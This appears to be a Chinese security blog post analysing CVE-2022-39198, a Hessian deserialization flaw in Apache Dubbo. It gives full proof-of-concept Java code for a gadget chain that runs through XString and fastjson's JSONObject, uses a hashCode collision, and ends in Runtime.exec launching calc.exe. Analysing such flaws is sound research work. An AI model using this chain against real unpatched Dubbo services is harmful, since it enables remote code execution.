前言

无。


漏洞影响

2.7.x < version < 2.7.18

3.0.x < version < 3.0.12

3.1.x < version <= 3.1.0

环境搭建

使用IDEA新建项目,并添加dubbo依赖:

<dependency>
    <groupId>org.apache.dubbo</groupId>
    <artifactId>dubbo</artifactId>
    <version>2.7.16</version>
</dependency>

可以看到dubbo同时还依赖了fastjson。

再写一段Hessian序列化和反序列化的代码:

public static byte[] serialize(Object o) {
    byte[] bytes = null;
    try {
        ByteArrayOutputStream bos = new ByteArrayOutputStream();
        HessianOutput ho = new HessianOutput(bos);
        ho.writeObject(o);
        bytes = bos.toByteArray();
    }catch (Exception e) {
        e.printStackTrace();
    }
    return bytes;
}

public static Object unserialize(byte[] bytes) {
    Object o = null;
    try {
        ByteArrayInputStream is = new ByteArrayInputStream(bytes);
        HessianInput hi = new HessianInput(is);
        o = hi.readObject();
    }catch (Exception e) {
        e.printStackTrace();
    }
    return o;
}

漏洞分析

首先JDK中存在一个XString类,可以通过反序列化HashMap触发其equals函数:

public boolean equals(Object obj2)
{

if (null == obj2)
    return false;

    // In order to handle the 'all' semantics of
    // nodeset comparisons, we always call the
    // nodeset function.
else if (obj2 instanceof XNodeSet)
    return obj2.equals(this);
else if(obj2 instanceof XNumber)
    return obj2.equals(this);
else
    return str().equals(obj2.toString());
}

可以触发某一个对象的toString函数,类似BadAttributeValueExpException。

而在dubbo的fastjson依赖中,存在一个类com.alibaba.fastjson.JSON,其toString函数会调用toJSONString函数:

public String toString() {
    return this.toJSONString();
}

public String toJSONString() {
    SerializeWriter out = new SerializeWriter();

    String var2;
    try {
        (new JSONSerializer(out)).write(this);
        var2 = out.toString();
    } finally {
        out.close();
    }

    return var2;
}

这里会发生从对象到字符串的序列化过程,一般理性而言会访问该对象的getter们。

JSON是一个抽象类,所以实际使用的时候要使用其子类JSONObject。简单测试一下:

JSONObject jsonObject = new JSONObject();
jsonObject.put("xx", new Test());
System.out.println(jsonObject.toString());

一路来到MapSerializer的write函数,该函数会遍历JSONObject的内部Map元素开始序列化,关键代码如下:

preWriter.write(serializer, value, entryKey, null, features);

此时获取到的writer为JavaBeanSerializer,其write函数中会调用getter们:

// JavaBeanSerializer.write
propertyValue = fieldSerializer.getPropertyValueDirect(object);

// FieldSerializer.getPropertyValueDirect
Object fieldValue =  fieldInfo.get(object);

// FieldInfo.get
return method != null
        ? method.invoke(javaObject)
        : field.get(javaObject);

可以看到,JSONObject.toString确实会调用一个对象的getter,所以这个漏洞其实是将一个Hessian反序列化漏洞递进到一个getXXX函数调用。

不过存在一个问题,由于使用的是Hessian反序列化,所以这个getXXX函数调用的主体必须是一个可序列化的对象。

参考文章使用UnixPrintServiceLookup对象作为最后的命令执行触发点,该函数的getDefaultPrinterNameBSD函数会调用execCmd函数,execCmd函数中会有一个Runtime.getRuntime().exec()的命令执行点。此外,参考文章在测试环境中还设置了AllowNonSerializable,让UnixPrintServiceLookup这个不可序列化的对象可以正常使用。

修改一下序列化,加上两行:

ByteArrayOutputStream bos = new ByteArrayOutputStream();
HessianOutput ho = new HessianOutput(bos);
ho.setSerializerFactory(new SerializerFactory());
ho.getSerializerFactory().setAllowNonSerializable(true);
ho.writeObject(o);
bytes = bos.toByteArray();

反序列化中不用加,看来Hessian只在序列化时检查可序列化,在反序列化时不会检查。

然而在我的Windows环境下,似乎没有UnixPrintServiceLookup这个类,随便写个测试用类:

class Test {
    private final int cmdIndex = 0;
    private final String osname = "xx";
    private final String[] lpcFirstCom = new String[]{"cmd.exe", "/c", "calc.exe"};

    public String[] getDefaultPrinterNameBSD() {
        System.out.println("Pwn!");
        try {
            Runtime.getRuntime().exec(lpcFirstCom);
        }catch (Exception e) {
            e.printStackTrace();
        }
        return lpcFirstCom;
    }
}

要从HashMap之类的地方触发equals函数,要求hashCode相等。这里就要用到一个神奇的知识点了:

yy
zZ

这两个字符串虽然不一样,但是它们的hashCode是一样的。也就是说,如果我们构造这样的两个成员相同但是key和value相反的HashMap:

HashMap map1 = new HashMap();
map1.put("yy", jsonObject);
map1.put("zZ", xString);
HashMap map2 = new HashMap();
map2.put("yy", xString);
map2.put("zZ", jsonObject);

由于HashMap的hashCode计算方法如下:

// HashMap->AbstractMap
public int hashCode() {
    int h = 0;
    Iterator<Entry<K,V>> i = entrySet().iterator();
    while (i.hasNext())
        h += i.next().hashCode();
    return h;
}

// HashMap.Node
public final int hashCode() {
    return Objects.hashCode(key) ^ Objects.hashCode(value);
}

即key ^ value之后加在一起,那么map1和map2的hashCode就是一样的。

如果用一个更大的HashMap以这两个HashMap为键,那么就会因为hashCode相同,触发equals函数,HashMap之间的equals函数关键部分如下:

Iterator<Entry<K,V>> i = entrySet().iterator();
while (i.hasNext()) {
    Entry<K,V> e = i.next();
    K key = e.getKey();
    V value = e.getValue();
    if (value == null) {
        if (!(m.get(key)==null && m.containsKey(key)))
            return false;
    } else {
        if (!value.equals(m.get(key)))
            return false;
    }
}

简单来说就是会使用equals函数对比相同键下的value,如此一来构造的key和value相反的HashMap就能触发XString.equals(JSONObject),最后的代码如下:

JSONObject jsonObject = new JSONObject();
XString xString = new XString("xx");
jsonObject.put("xx", new Test());
HashMap map1 = new HashMap();
map1.put("yy", jsonObject);
map1.put("zZ", xString);
HashMap map2 = new HashMap();
map2.put("yy", xString);
map2.put("zZ", jsonObject);
HashMap bigMap = new HashMap();
bigMap.put(map1, 1);
bigMap.put(map2, 2);
unserialize(serialize(bigMap));

参考

CVE-2022-39198 Apache Dubbo Hession Deserialization Vulnerability Gadgets Bypass

ByteCodeDL小试牛刀之CHA调用图分析


Web Java 反序列化

本博客所有文章除特别声明外,均采用 CC BY-SA 3.0协议 。转载请注明出处!

CVE-2022-42920 BCEL 越界写漏洞
C++环境下钩取API函数